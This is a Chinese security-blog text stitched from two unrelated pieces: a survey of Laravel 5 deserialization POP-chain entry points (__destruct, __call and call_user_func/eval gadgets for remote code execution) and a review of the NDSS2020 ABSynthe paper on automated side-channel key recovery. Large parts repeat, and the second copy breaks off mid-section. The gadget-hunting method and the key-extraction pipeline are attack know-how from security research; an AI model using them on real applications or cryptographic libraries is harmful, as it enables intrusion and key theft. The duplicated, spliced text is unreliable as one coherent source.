Laravel 5由于过滤相对于Laravel 7来说缺失了一些,因此更容易被组建pop chain,同时laravel由于提供了大量的可用于构造的模块,也会衍生出各种排列组合的pop chain,但万变不离其中,最关键的还是寻找切入点。

本文提出的一些寻找pop chain的思路也是抛砖引玉,实际上寻找切入点的方式远远不止__destruct和文中所提及的3种类型,如果你有好的想法也欢迎和我联系交流~

总之还是那句话,求求CTF里别再出laravel的pop chain构造了。

前言

Laravel 7中由于一些有所类修复,导致一些pop chain无法使用,于是这次在Laravel 5系列中,也做一次总结,列举比较适合的切入点和查找新链的思路。

遍地撒网

为了更好的找出切入点,我这里直接写了一个脚本,列举出所有包含__destruct的class和其__destruct的定义,并将laravel 5和laravel 7进行比对:

2020-07-22-11-31-17.png

其实不难发现,Laravel 7和Laravel 5在切入点这一块,并无太多的区别,几乎一致,一般修改均为一些微调。

同时我们可以搜寻一下切入点,一般分为如下几类:

· __destruct中$this->xxxx()调用形式

· __destruct中$this->xxx->yyy()调用形式

· __destruct中built-in function调用形式

那么本文对于laravel 5的pop chain寻找也围绕这3点进行展开。

$this->xxxx()调用形式

根据这个调用形式进行寻找,有比较知名的CVE-2019-9081,我们可以看到其函数定义:

Illuminate\Foundation\Testing\PendingCommand::__destruct
public function __destruct()
{
    if ($this->hasExecuted) {
        return;
    }
    $this->run();
}

此处run函数可以引入RCE风险,此处分析不再赘述,可以参考文章:

https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/

当然这个类在Laravel 7中已经被修复。

除此之外,还有包括上篇文章我们分析过的:

Illuminate\Routing\PendingResourceRegistration::__destruct
public function __destruct()
{
    if (! $this->registered) {
        $this->register();
    }
}

此处register函数可以引入RCE风险,也不再赘述,可以参考上一篇文章。

类似的调用情况同样很多,我简单列举几个:

GuzzleHttp\Cookie中常见的:

$this->save();

Monolog\Handler和Symfony\Component中常见的:

$this->close();

League\Flysystem中常见的:

$this->disconnect()

除此之外,还有一些在__destruct中出现频率不高的,如果感兴趣的都可以跟进进行尝试构造。

$this->xxx->yyy()调用形式

而对于这种调用形式,我们在之前的文章中提到过,其有2种思路进行利用:

· __call魔法方法

· 同名函数

我们看几个典型的例子:

Illuminate\Broadcasting\PendingBroadcast::__destruct
public function __destruct()
{
    $this->events->dispatch($this->event);
}

此处由于$this->events和$this->event均可控,因此可利用同名函数或__call的方式进行RCE pop chain的构造。

除此之外:

Symfony\Component\Routing\Loader\Configurator\ImportConfigurator::__destruct
public function __destruct()
{
    $this->parent->addCollection($this->route);
}

同样有着相似的问题,虽然可能没有同名危险函数,但可以利用__call来进行构造,配合Faker\Generator来构造RCE pop chain。

并且如下类也存在类似的问题:

Symfony\Component\Routing\Loader\Configurator\CollectionConfigurator::__destruct
public function __destruct()
{
    if (null === $this->prefixes) {
        $this->collection->addPrefix($this->route->getPath());
    }
        $this->parent->addCollection($this->collection);
}

相应的,其实我们在构造同名函数RCE pop chain的时候其实还算好,但当构造__call的时候,由于call name一般不可控,毕竟Faker\Generator中name可通过数组控制的情况不算特别多,那么此时可能会遇到瓶颈。

所以这种形式的利用手段并不是想象中那么丝滑(,还是需要精心构造的。

built-in函数

此类情况一般偏少,我们将搜寻锁定在敏感函数上,例如:

call_user_func、call_user_func_array、system、eval......

这里不难直接发现一个类:

GuzzleHttp\Psr7\FnStream::__destruct
public function __destruct()
{
    if (isset($this->_fn_close)) {
        call_user_func($this->_fn_close);
    }
}

我们发现其直接调用了call_user_func,同时参数可控,为 $this->_fn_close,但难点在于该函数只可控第一个参数,因此这里我们可以想到能否调用类内方法,如果该方法不需传递参数且方法内敏感函数参数可控,为类内属性,那么即可利用。

这里不难想到,诸如:Illuminate\Foundation\Testing\PendingCommand的run方法,Illuminate\Routing\PendingResourceRegistration的register方法,都是可以通过其进行利用的。

当然这会显得有些取巧,如果你有兴趣的话,可以过一遍危险函数所在的方法,看看是不是其可以无参调用~

但是不幸的是,当前这个例子中,我们跟进类进行分析:

public function __wakeup()
{
    throw new \LogicException('FnStream should never be unserialized');
}

由于存在__wakeup,我们在利用这个chain的时候会抛出'FnStream should never be unserialized'的错误,而导致无法利用。

当然,我们也可以不仅仅找__destruct函数内的危险函数,尝试搜寻一些危险函数所在的方法和类,不难找到如下几个情况:PHPUnit\Framework\MockObject\Stub\ReturnCallback::invoke,关键代码如下:

public function invoke(Invocation $invocation)
{
    return \call_user_func_array($this->callback, $invocation->getParameters());
}

又如Mockery\Loader\EvalLoader::load,关键代码如下:

public function load(MockDefinition $definition)
{
    if (class_exists($definition->getClassName(), false)) {
        return;
    }
        eval("?>" . $definition->getCode());
}

诸如此类情况,我们都可以将其整合进call_user_func或者call_user_func_array可控2个参数的地方,例如和Illuminate\Broadcasting\PendingBroadcast::__destruct组合,构造新的chain。

后记

Laravel 5由于过滤相对于Laravel 7来说缺失了一些,因此更容易被组建pop chain,同时laravel由于提供了大量的可用于构造的模块,也会衍生出各种排列组合的pop chain,但万变不离其中,最关键的还是寻找切入点。

本文提出的一些寻找pop chain的思路也是抛砖引玉,实际上寻找切入点的方式远远不止__destruct和文中所提及的3种类型,如果你有好的想法也欢迎和我联系交流~

总之还是那句话,求求CTF里别再出laravel的pop chain构造了。

0x00 前言

这篇文章是发表在NDSS2020上,有关于微架构侧信道攻击的一篇文章。一作来自于英特尔公司,先前在硬件和底层上有比较多的研究。文章标题中的几个关键词,也在文章中有一定的体现,比如自动化、黑盒,合成等,这些都与一些现有的工作有比较大的差异。

0x01 背景知识

CPU组件存在大量的侧信道攻击,但现有的每一种侧信道攻击方式,几乎都基于白盒分析的方法。通常情况下,需要3步来完成:

· 首先需要能够识别出这一特定的CPU组件。

· 然后需要在特定的微架构上对其做逆向分析。

· 最后通过逆向分析得到的内容,人工构造指令序列,用以侧信道泄露信息。

但这些方法通常都存在一些弊端,由于现有的侧信道攻击需要人工构造指令序列,而CPU会使用微架构组件来实现其指令集,并且这些微架构组件的底层细节不可见,因此需要逆向工程进行分析。随着CPU的更新换代,这些组件的数量,大小,复杂性都在增加,同时这些组件的属性可以在CPU版本之间发生变化,因此会对侧信道研究人员带来新的且冗长的逆向工作。

同时,除去对于逆向工程的复杂性,当想要对目标程序进行侧信道攻击时,还需要对该软件有比较好的了解,清楚感兴趣的内容,其代码执行路径在何处。这一切都对攻击者有比较高的要求。除此之外,由于这些方法基于已有信息,那么对于那些未知的共享资源或者信息,则无法进行攻击。

在此基础上,作者提出了黑盒分析的思路,他们将CPU组件当做黑盒,无需进行逆向分析。并且可以自动的找到目标软件可能感兴趣的内容的代码执行路径。文章的核心思路利用了共享资源被争用和不被争用时,会存在可测量的性能差异这一现象进行侧信道分析。

同时本篇文章的工作可以自动的优化出在侧信道获取信息时,性能表现最好的指令序列,无需人工参与构造指令序列,并可以利用神经网络从侧信道攻击的结果中恢复密钥。

0x02 工具设计

作者以从受害者进程或者虚拟机中泄露诸如密钥等敏感数据为目的,提出了这样一种威胁模型:

· 攻击者可以在受害者的机器上执行代码

· 攻击者和受害者位于同一CPU核心上执行代码

· 所有最先进的侧信道保护都已启用

· 目标软件存在侧信道攻击的威胁

由于作者提出的侧信道攻击的核心思路是利用共享资源在被争用和不被争用时,会存在可测量的性能差异。

对于2条可能存在资源争用的指令,作者将写指令称为A指令,读指令称为B指令,通过使用A指令来尝试引起B指令的延迟变化,用以判断是否存在资源争用的情况。

如下图,在writer指令执行时和不执行时,reader指令信号会存在明显的差异性。

2020-08-11-10-21-57.png

这里作者尝试找出2条存在可观察的资源争用信号的指令,与以往工作中人工精心挑选指令不同,这里作者通过遍历X86_64指令集来寻找最合适用于侧信道攻击的指令。这里的指令集来自于uops.info的项目。

为了评估结果,作者建立了一个矩阵,用来反应指令B在指令A的影响下所出现的延迟相较于指令B在空指令下的延迟比例。如果延迟比大于1,那么说明指令A和B会存在资源争用的情况。

作者对指令列表中的指令进行了一次二层嵌套for循环,用以寻找所有指令两两之间延迟比大于1的情况,从而找到所有存在资源竞争的指令对。

为了将结果可视化的展现,作者将指令按照其使用的执行端口进行分组。按照执行端口分组的原因有2点:

1. 执行端口本身就是一种被争用的资源

2. 可以将相似功能的指令组合在一起

从实验结果我们可以发现:

2020-08-11-10-24-17.png

1. 共享执行端口的指令不一定都是高争用,也可能是无争用的。例如skylake中P1端口。

2. 不共享执行端口的指令一般显示低争用,但也有存在高争用的,这意味着共享资源不仅只有执行端口,可能还有其他资源。例如Xeon的P1和P5,P0和P5。

通过比对在3种不同微架构上指令对在执行端口争用上的表现,作者总结出3个结论:

1. 可能存在多个资源有争用问题,并非只有执行端口

2. 在某个微架构上表现较好的基于资源争用的侧信道攻击,可能在其他微架构上不一定有效

3. 性能表现最好的基于资源争用的侧信道攻击可能需要多个指令来引起资源争用

在可以找到引起资源争用的指令对后,下面来介绍一下工具设计的架构。

工具可以分为2个部分,一个是分析阶段,一个是攻击阶段。

2020-08-11-10-31-12.png

在分析阶段,将微架构和目标软件作为输入,通过Ground Truth引擎自动对其插入指令,每当其进行密钥操作时,就会与侧信道监听程序同步,发送与密钥相关的信号数据。

侧信道攻击的代码Spy code最初来自于微架构的leakage map,对于leakage map每一个性能表现比较好的指令,侧信道监听程序会将它们资源争用的度量发送给合成引擎。而合成引擎则通过评估指令产生的资源争用信号,来生成可以触发更高信号质量的指令序列,循环往复,直到合成引擎生成的指令序列可以以足够高的可信度探测到密钥信息。

在攻击阶段,利用分析阶段得到的优化后的指令序列进行侧信道攻击,并将获取的信息传递给密钥恢复引擎,用以恢复目标程序密钥。

在进行上述方法实现时,会遇到3个挑战:

1. 在分析阶段时,工具需要自动对目标软件进行指令插入,用以和侧信道攻击代码同步测量,收集密钥相关的真实数据,那么如何自动化的找到密钥相关的控制流分支是一个难点。

2. 在分析阶段时,如何自动的优化侧信道攻击代码

3. 在攻击阶段时,如何通过侧信道攻击的结果去恢复密钥信息

那么对于第一点如何自动化插入指令的难题,作者使用了污点分析与火焰图的技术。对于第二点如何自动化优化攻击代码的难题,作者采用基于高斯朴素贝叶斯分类器的差分进化遗传算法来作为评估方法用以自动化优化指令序列。对于第三点如何恢复密钥,作者使用了RNN分类器。具体内容我们将在下一节展开。

0x03 工具实现

前面有提到,第一个难题就是如何自动化的进行指令插入,那么指令插入肯定不能随意乱做,我们需要找到感兴趣的代码路径,在其前后插入相应指令。而本文的针对攻击目标是加密函数,因此如何自动化的找到密钥相关的代码分支,就是一个难题。

这里作者选择使用污点分析来找到这些指令的插入位置,而后结合火焰图来自动的找出密钥相关的分支。

首先简单介绍一下火焰图的概念:

2020-08-11-10-43-40.png

假设我们程序中需要执行main函数,main函数自身的CPU执行时间为2秒,而main函数中又调用了foo1和foo2函数,因此我们需要去计算foo1和foo2的执行时间,才能得到main的完整执行时间。

此时我们会去看foo1和foo2函数的调用时间,首先foo1函数自身的cpu执行时间为1.5秒,但由于其调用了bar函数,我们又需要再去看bar函数,才能计算出foo1的完整cpu执行时间。

此时看到bar函数,发现bar函数不再调用其他函数,其自身的cpu执行时间为2.5秒,因此我们可以算出foo1的完整cpu执行时间为其本身的1.5和bar函数的2.5之和,就是4秒。

那么同理,我们也可以算出foo2函数的完整执行时间为3秒,因此main函数的完整执行时间为自身的执行时间,加上foo1的时间,再加上foo2的时间,即9秒。

这一函数调用过程我们将其画成火焰图,如下图所示。

2020-08-11-10-46-16.png

回到工具中,这里工具ABSynthe首先会将密钥文件中的所有数据标注为污点,进行污点分析。然后使用perf record来获取目标程序所有函数的火焰图,找到其中具有显著执行时间的函数,看其是否被我们的污点标注过,如果标注过,则在这些函数位置插入指令。

如下图中:

2020-08-11-10-48-55.png

其中scalar是被标注成污点的密钥变量,第4行为密钥相关分支。第2和5行为我们嵌入的指令。

2020-08-11-10-49-06.png

每当该分支被执行时,CRYPTLOOP_VALUE会发出信号,往共享内存中写入一个值,然后侧信道程序除了搜集侧信号信号以外,还会读取该值,用于后续的训练。

在搜集信息时,同样会存在难点,由于同步传输数据,本身就会产生噪音,影响侧信道的测量。

这里为了避免这一问题,作者使用了软同步策略,利用一个内存共享页来实现共享内存通道。同时让spy code持续监视目标共享内存位置,并将每个延迟测量值标记为样本值。

那么对于第2个难题,如果想造成一次效果较好的侧信道攻击,那么执行的指令序列的构造非常重要,之前的工作这一构造通常由人工完成。而在本篇文章里,作者使用差分进化算法来自动化的优化构造指令序列,该算法的输入为可以在微架构组件上产生资源争用的指令,这里作者选择了性能表现最好的指令作为种子。

同时作者希望算法可以自由的选择最终的指令序列,但又希望其生成的指令序列是有效的,因此作者提前设计了一种配方,让算法在寻找性能最好的指令序列时,对这些配方进行mutate。

2020-08-11-10-53-03.png

首先我们来看一下配方的构成,第一个参数是Repeat number,这一参数用来定义指令序列需要执行的次数,范围为1~20次。指令序列的执行时间可以作为探测目标程序密钥操作的一种信号,执行时间需要在可观测和高分辨率中做一个衡量,因此指令序列执行次数非常重要。

2020-08-11-10-54-22.png

第2、3参数代表是否在执行指令序列前或执行指令序列后存在内存屏障。如果存在内存屏障,可以保证内存通信时,不会因为乱序执行而使测量时间的指令出现噪音。但相应的,也可能会降低指令序列执行时间的分辨率。因此需要将这一参数保留,让算法来选择是否要其存在。

第4、5、6、7参数是用于来创建资源争用的。每个参数定义了特定信道所需的指令数量。

2020-08-11-10-57-52.png

最后位置的参数用来规定使用哪种方式将指令块合并到一起。这里作者提出了3种合并方式:

1. 串联,即将简单的将配方中的指令块连接在一起。

2. 交错,即将来自不同块的指令交错连接在一起。

3. 串联后的随机洗牌,即将配方中的指令块简单连接在一起后,再进行随机洗牌

2020-08-11-10-59-41.png

同时差分进化遗传算法需要一个适应度函数来进行评估当前指令序列的质量,看该指令序列是否能够产生可区分目标程序执行到不同代码路径的度量信号。

这里作者使用了高斯朴素贝叶斯分类器来进行评估。原因是该分类器在不需要调参的情况下表现良好,同时其在training和evaluation时具有线性的时间复杂度,可以保证差分进化遗传算法能够快速进行。

然后作者使用信号值来训练该分类器,这些信号值来自于目标程序执行到某个代码路径时,我们的指令序列产生的信号,我们根据我们之前对目标程序插入的指令,来标记其对应是否执行的该代码路径,例如0和1。

同时作者为了证明优化指令序列的重要性,在目标程序Broadwell-NIST-P256上进行了对比实验。

优化前:

2020-08-11-11-03-07.png

优化后:

2020-08-11-11-03-12.png

我们可以看到,在仅使用性能最好的单一指令时,PCA图分界不够明显,特征不够明显。而在使用算法优化后的指令序列时,PCA图分界比较明显,因此说明这样的指令序列获取的信号度量更加具有特征性。

第3个难题是在之前的训练中,由于数据的搜集一直是保持同步的,因此我们可以容易知道程序开始的起点位置和长度,因此分类器可以简单的得到相关的密钥值。但是在真实世界的攻击中,我们获取的信号很可能是多个从未知位置开始的连续信号,这就比较困难。同时在长时间捕获信号的过程中,很容易失去同步。因此之前标记对应代码执行路径和延迟时间的方式在这里不可行。

为了解决这一问题,作者使用时间序列为向量,选择了一种专门针对时间序列数据的LSTM RNN算法,该算法在不完全同步的情况下具有鲁棒性,在信号发生微小时间偏移时,允许非同步的恢复密钥。

作者同时提到,可以有方法验证恢复密钥的正确性,例如目标程序在签名操作时,会使用密钥。那么作者也将恢复的密钥用于一次签名操作,如果签名相同,则说明密钥正确,否则则说明密钥错误。然后作者发现,恢复的密钥往往都是不正确的。可能是密钥某bit位丢失,或者是恢复错误。

但是每次密钥恢复错误时,可能都需要对上百个bit位进行爆破,以找到正确的密钥,但这样的操作显然不可取,例如一个384bit的密钥,如果有n个bit猜测错误或者丢失,那么需要进行384^n次爆破,这显然不可行。

但这里作者提到,由于考虑了时间序列问题,现在的算法的返回值是(time, secret),因此可以容易知道哪一位可能存在丢失或错误。因为丢失的时候,2个bit位之间会形成较大的时间间隙,而错误的时候,2个bit位之间会出现很窄的时间间隙。对于每一个可能出问题的bit位,一共只有3种情况,第一种是该位正常,忽略,第二种是该位丢失或错误应该改为0,第3种是该位丢失或错误,应该改为1。因此在密钥恢复错误的情况下,如果有n个位置错误,那么只需要进行3^n次爆破来恢复密钥。

考虑到上述原因,作者为了解决这一问题,使用了2个LSTM模型,在恢复密钥时,如果2个模型预测值相同,那么才会接受。

这两个模型,第一个是三层LSTM嵌套的模型,第二个模型是LSTM接一个激活函数RELU的全连接层*3的模型。这两个模型都用0.2的 dropout 来缓解过拟合问题 并且由于是个多分类任务,输出都用的softmax layer。然后它使用集成学习(Ensemble)的方式把两个模型组合在一起,以获得更好的效果。

这里的训练数据特征是延迟值,训练集的样本分为两类,一类是从程序已知的开始位置开始,另一类是从程序未知的开始位置开始。

0x04 实验评估

作者使用了libgcrypt 1.6.3和libgcrypt 1.8.5中的加密函数EdDSA 25519、EdDSA 25519-hardened、EdDSA 25519-secure (1.8.5 only)、RSA、ECDSA P-256作为攻击目标进行实现评估。值得注意的是,EdDSA 25519-hardened中已经对侧信道攻击有了基本的防御机制,而EdDSA 25519-secure对于侧信道的防御机制被认为是最先进的。

作者在4个不同的微架构上进行了测试,使用F1分数来评估工具的性能。

2020-08-11-11-09-52.png

这里值得注意的是,在ARM上,作者是人工编写的指令序列。这里原因是,对于ARM没有完整的leakage map,无法遍历测试。而另外3个x86微架构,作者测试了所有可能的指令,并使用了4条最好的指令序列。这也体现出,作者的工具要比人工编写指令序列性能高的多。

同时注意到红框部分,由于这一条表现的性能非常好,作者选用其进行测试,看其在信息不同步的情况下,对密钥的恢复能力如何。

2020-08-11-11-10-40.png

作者对这些目标在信息不同步的情况下,进行了7次测试。可以发现不基于GPG加密软件的情况下,正确恢复密钥的准确率在100%,而在GPG加密软件下有一定错误。原因是在无外部提示或者分析人员设置的情况下,密钥相关分支完全由工具自动的进行识别。

同时作者将自己工具优化生成的指令序列与其他工作人工构造的指令序列进行了性能比对。

2020-08-11-11-12-43.png

可以发现工具自动优化得到的指令序列,性能高于其他人工构造的指令序列。

同时从两个维度来验证工具的鲁棒性。首先是能否自动的找到我们感兴趣的分支,即密钥相关的内容。

这里作者选择在完全无侧信道防御的EdDSA 25519算法上进行了7次测试,可以发现在密钥相关程序开始时和其他时候有显著的差异。说明工具在我们感兴趣的区域预测密度显著较高,证明了工具的可靠性。

2020-08-11-11-12-52.png

第二个维度,作者从被干扰的情况下,测试工具的鲁棒性。这里作者使用usleep函数,来干扰cpu的执行时间,干扰量为0.1%~30.6%。

2020-08-11-11-13-33.png

这里我们可以发现2个点,第一点是即使目标程序存在噪音,密钥恢复的准确度都不会有太多变化,这是因为我们前面介绍过,密钥的恢复算法具有鲁棒性,可以抵御干扰。第二点是,我们的侧信道程序上如果出现噪音,则会受到影响,因为这涉及到了信号采集问题,如果信号不能准确采集,那么则无法进行密钥的恢复。

当然工具也有一些局限性。

首先工具要求目标软件会在加密运行时花费较长时间。同时密钥需要从文件系统中进行加载,否则无法进行自动污点分析。

第二点是工具需要目标微架构的指令集定义格式易于创建leakage map,才能使用工具的方法自动生成并优化指令序列。这一点在x86上比较容易获得,但是对于ARM还不行。

第三点是工具在后续的处理阶段,可以有更为自动化的方式,通过暴力破解启发式的方法来应用于各种程序。

0x05 后记

本篇文章第一个创建了在x86微架构上完整的leakage maps,并实现了一个全自动的侧信道攻击,其可以利用资源竞争的方式,对各种平台,各种环境上的加密程序来进行侧信道攻击。对于前人工作具有比较高的创新性,同时为后续侧信道攻击测试提供了便捷性。

0x00 前言

这篇文章是发表在NDSS2020上,有关于微架构侧信道攻击的一篇文章。一作来自于英特尔公司,先前在硬件和底层上有比较多的研究。文章标题中的几个关键词,也在文章中有一定的体现,比如自动化、黑盒,合成等,这些都与一些现有的工作有比较大的差异。

0x01 背景知识

CPU组件存在大量的侧信道攻击,但现有的每一种侧信道攻击方式,几乎都基于白盒分析的方法。通常情况下,需要3步来完成:

· 首先需要能够识别出这一特定的CPU组件。

· 然后需要在特定的微架构上对其做逆向分析。

· 最后通过逆向分析得到的内容,人工构造指令序列,用以侧信道泄露信息。

但这些方法通常都存在一些弊端,由于现有的侧信道攻击需要人工构造指令序列,而CPU会使用微架构组件来实现其指令集,并且这些微架构组件的底层细节不可见,因此需要逆向工程进行分析。随着CPU的更新换代,这些组件的数量,大小,复杂性都在增加,同时这些组件的属性可以在CPU版本之间发生变化,因此会对侧信道研究人员带来新的且冗长的逆向工作。

同时,除去对于逆向工程的复杂性,当想要对目标程序进行侧信道攻击时,还需要对该软件有比较好的了解,清楚感兴趣的内容,其代码执行路径在何处。这一切都对攻击者有比较高的要求。除此之外,由于这些方法基于已有信息,那么对于那些未知的共享资源或者信息,则无法进行攻击。

在此基础上,作者提出了黑盒分析的思路,他们将CPU组件当做黑盒,无需进行逆向分析。并且可以自动的找到目标软件可能感兴趣的内容的代码执行路径。文章的核心思路利用了共享资源被争用和不被争用时,会存在可测量的性能差异这一现象进行侧信道分析。

同时本篇文章的工作可以自动的优化出在侧信道获取信息时,性能表现最好的指令序列,无需人工参与构造指令序列,并可以利用神经网络从侧信道攻击的结果中恢复密钥。

0x02 工具设计

作者以从受害者进程或者虚拟机中泄露诸如密钥等敏感数据为目的,提出了这样一种威胁模型:

· 攻击者可以在受害者的机器上执行代码

· 攻击者和受害者位于同一CPU核心上执行代码

· 所有最先进的侧信道保护都已启用

· 目标软件存在侧信道攻击的威胁

由于作者提出的侧信道攻击的核心思路是利用共享资源在被争用和不被争用时,会存在可测量的性能差异。

对于2条可能存在资源争用的指令,作者将写指令称为A指令,读指令称为B指令,通过使用A指令来尝试引起B指令的延迟变化,用以判断是否存在资源争用的情况。

如下图,在writer指令执行时和不执行时,reader指令信号会存在明显的差异性。

2020-08-11-10-21-57.png

这里作者尝试找出2条存在可观察的资源争用信号的指令,与以往工作中人工精心挑选指令不同,这里作者通过遍历X86_64指令集来寻找最合适用于侧信道攻击的指令。这里的指令集来自于uops.info的项目。

为了评估结果,作者建立了一个矩阵,用来反应指令B在指令A的影响下所出现的延迟相较于指令B在空指令下的延迟比例。如果延迟比大于1,那么说明指令A和B会存在资源争用的情况。

作者对指令列表中的指令进行了一次二层嵌套for循环,用以寻找所有指令两两之间延迟比大于1的情况,从而找到所有存在资源竞争的指令对。

为了将结果可视化的展现,作者将指令按照其使用的执行端口进行分组。按照执行端口分组的原因有2点:

1. 执行端口本身就是一种被争用的资源

2. 可以将相似功能的指令组合在一起

从实验结果我们可以发现:

2020-08-11-10-24-17.png

1. 共享执行端口的指令不一定都是高争用,也可能是无争用的。例如skylake中P1端口。

2. 不共享执行端口的指令一般显示低争用,但也有存在高争用的,这意味着共享资源不仅只有执行端口,可能还有其他资源。例如Xeon的P1和P5,P0和P5。

通过比对在3种不同微架构上指令对在执行端口争用上的表现,作者总结出3个结论:

1. 可能存在多个资源有争用问题,并非只有执行端口

2. 在某个微架构上表现较好的基于资源争用的侧信道攻击,可能在其他微架构上不一定有效

3. 性能表现最好的基于资源争用的侧信道攻击可能需要多个指令来引起资源争用

在可以找到引起资源争用的指令对后,下面来介绍一下工具设计的架构。

工具可以分为2个部分,一个是分析阶段,一个是攻击阶段。

2020-08-11-10-31-12.png

在分析阶段,将微架构和目标软件作为输入,通过Ground Truth引擎自动对其插入指令,每当其进行密钥操作时,就会与侧信道监听程序同步,发送与密钥相关的信号数据。

侧信道攻击的代码Spy code最初来自于微架构的leakage map,对于leakage map每一个性能表现比较好的指令,侧信道监听程序会将它们资源争用的度量发送给合成引擎。而合成引擎则通过评估指令产生的资源争用信号,来生成可以触发更高信号质量的指令序列,循环往复,直到合成引擎生成的指令序列可以以足够高的可信度探测到密钥信息。

在攻击阶段,利用分析阶段得到的优化后的指令序列进行侧信道攻击,并将获取的信息传递给密钥恢复引擎,用以恢复目标程序密钥。

在进行上述方法实现时,会遇到3个挑战:

1. 在分析阶段时,工具需要自动对目标软件进行指令插入,用以和侧信道攻击代码同步测量,收集密钥相关的真实数据,那么如何自动化的找到密钥相关的控制流分支是一个难点。

2. 在分析阶段时,如何自动的优化侧信道攻击代码

3. 在攻击阶段时,如何通过侧信道攻击的结果去恢复密钥信息

那么对于第一点如何自动化插入指令的难题,作者使用了污点分析与火焰图的技术。对于第二点如何自动化优化攻击代码的难题,作者采用基于高斯朴素贝叶斯分类器的差分进化遗传算法来作为评估方法用以自动化优化指令序列。对于第三点如何恢复密钥,作者使用了RNN分类器。具体内容我们将在下一节展开。

0x03 工具实现

前面有提到,第一个难题就是如何自动化的进行指令插入,那么指令插入肯定不能随意乱做,我们需要找到感兴趣的代码路径,在其前后插入相应指令。而本文的针对攻击目标是加密函数,因此如何自动化的找到密钥相关的代码分支,就是一个难题。

这里作者选择使用污点分析来找到这些指令的插入位置,而后结合火焰图来自动的找出密钥相关的分支。

首先简单介绍一下火焰图的概念:

2020-08-11-10-43-40.png

假设我们程序中需要执行main函数,main函数自身的CPU执行时间为2秒,而main函数中又调用了foo1和foo2函数,因此我们需要去计算foo1和foo2的执行时间,才能得到main的完整执行时间。

此时我们会去看foo1和foo2函数的调用时间,首先foo1函数自身的cpu执行时间为1.5秒,但由于其调用了bar函数,我们又需要再去看bar函数,才能计算出foo1的完整cpu执行时间。

此时看到bar函数,发现bar函数不再调用其他函数,其自身的cpu执行时间为2.5秒,因此我们可以算出foo1的完整cpu执行时间为其本身的1.5和bar函数的2.5之和,就是4秒。

那么同理,我们也可以算出foo2函数的完整执行时间为3秒,因此main函数的完整执行时间为自身的执行时间,加上foo1的时间,再加上foo2的时间,即9秒。

这一函数调用过程我们将其画成火焰图,如下图所示。

2020-08-11-10-46-16.png

回到工具中,这里工具ABSynthe首先会将密钥文件中的所有数据标注为污点,进行污点分析。然后使用perf record来获取目标程序所有函数的火焰图,找到其中具有显著执行时间的函数,看其是否被我们的污点标注过,如果标注过,则在这些函数位置插入指令。

如下图中:

2020-08-11-10-48-55.png

其中scalar是被标注成污点的密钥变量,第4行为密钥相关分支。第2和5行为我们嵌入的指令。

2020-08-11-10-49-06.png

每当该分支被执行时,CRYPTLOOP_VALUE会发出信号,往共享内存中写入一个值,然后侧信道程序除了搜集侧信号信号以外,还会读取该值,用于后续的训练。

在搜集信息时,同样会存在难点,由于同步传输数据,本身就会产生噪音,影响侧信道的测量。

这里为了避免这一问题,作者使用了软同步策略,利用一个内存共享页来实现共享内存通道。同时让spy code持续监视目标共享内存位置,并将每个延迟测量值标记为样本值。

那么对于第2个难题,如果想造成一次效果较好的侧信道攻击,那么执行的指令序列的构造非常重要,之前的工作这一构造通常由人工完成。而在本篇文章里,作者使用差分进化算法来自动化的优化构造指令序列,该算法的输入为可以在微架构组件上产生资源争用的指令,这里作者选择了性能表现最好的指令作为种子。

同时作者希望算法可以自由的选择最终的指令序列,但又希望其生成的指令序列是有效的,因此作者提前设计了一种配方,让算法在寻找性能最好的指令序列时,对这些配方进行mutate。

2020-08-11-10-53-03.png

首先我们来看一下配方的构成,第一个参数是Repeat number,这一参数用来定义指令序列需要执行的次数,范围为1~20次。指令序列的执行时间可以作为探测目标程序密钥操作的一种信号,执行时间需要在可观测和高分辨率中做一个衡量,因此指令序列执行次数非常重要。

2020-08-11-10-54-22.png

第2、3参数代表是否在执行指令序列前或执行指令序列后存在内存屏障。如果存在内存屏障,可以保证内存通信时,不会因为乱序执行而使测量时间的指令出现噪音。但相应的,也可能会降低指令序列执行时间的分辨率。因此需要将这一参数保留,让算法来选择是否要其存在。

第4、5、6、7参数是用于来创建资源争用的。每个参数定义了特定信道所需的指令数量。

2020-08-11-10-57-52.png

最后位置的参数用来规定使用哪种方式将指令块合并到一起。这里作者提出了3种合并方式:

1. 串联,即将简单的将配方中的指令块连接在一起。

2. 交错,即将来自不同块的指令交错连接在一起。

3. 串联后的随机洗牌,即将配方中的指令块简单连接在一起后,再进行随机洗牌

2020-08-11-10-59-41.png

同时差分进化遗传算法需要一个适应度函数来进行评估当前指令序列的质量,看该指令序列是否能够产生可区分目标程序执行到不同代码路径的度量信号。

这里作者使用了高斯朴素贝叶斯分类器来进行评估。原因是该分类器在不需要调参的情况下表现良好,同时其在training和evaluation时具有线性的时间复杂度,可以保证差分进化遗传算法能够快速进行。

然后作者使用信号值来训练该分类器,这些信号值来自于目标程序执行到某个代码路径时,我们的指令序列产生的信号,我们根据我们之前对目标程序插入的指令,来标记其对应是否执行的该代码路径,例如0和1。

同时作者为了证明优化指令序列的重要性,在目标程序Broadwell-NIST-P256上进行了对比实验。

优化前:

2020-08-11-11-03-07.png

优化后:

2020-08-11-11-03-12.png

我们可以看到,在仅使用性能最好的单一指令时,PCA图分界不够明显,特征不够明显。而在使用算法优化后的指令序列时,PCA图分界比较明显,因此说明这样的指令序列获取的信号度量更加具有特征性。

第3个难题是在之前的训练中,由于数据的搜集一直是保持同步的,因此我们可以容易知道程序开始的起点位置和长度,因此分类器可以简单的得到相关的密钥值。但是在真实世界的攻击中,我们获取的信号很可能是多个从未知位置开始的连续信号,这就比较困难。同时在长时间捕获信号的过程中,很容易失去同步。因此之前标记对应代码执行路径和延迟时间的方式在这里不可行。

为了解决这一问题,作者使用时间序列为向量,选择了一种专门针对时间序列数据的LSTM RNN算法,该算法在不完全同步的情况下具有鲁棒性,在信号发生微小时间偏移时,允许非同步的恢复密钥。

作者同时提到,可以有方法验证恢复密钥的正确性,例如目标程序在签名操作时,会使用密钥。那么作者也将恢复的密钥用于一次签名操作,如果签名相同,则说明密钥正确,否则则说明密钥错误。然后作者发现,恢复的密钥往往都是不正确的。可能是密钥某bit位丢失,或者是恢复错误。

但是每次密钥恢复错误时,可能都需要对上百个bit位进行爆破,以找到正确的密钥,但这样的操作显然不可取,例如一个384bit的密钥,如果有n个bit猜测错误或者丢失,那么需要进行384^n次爆破,这显然不可行。

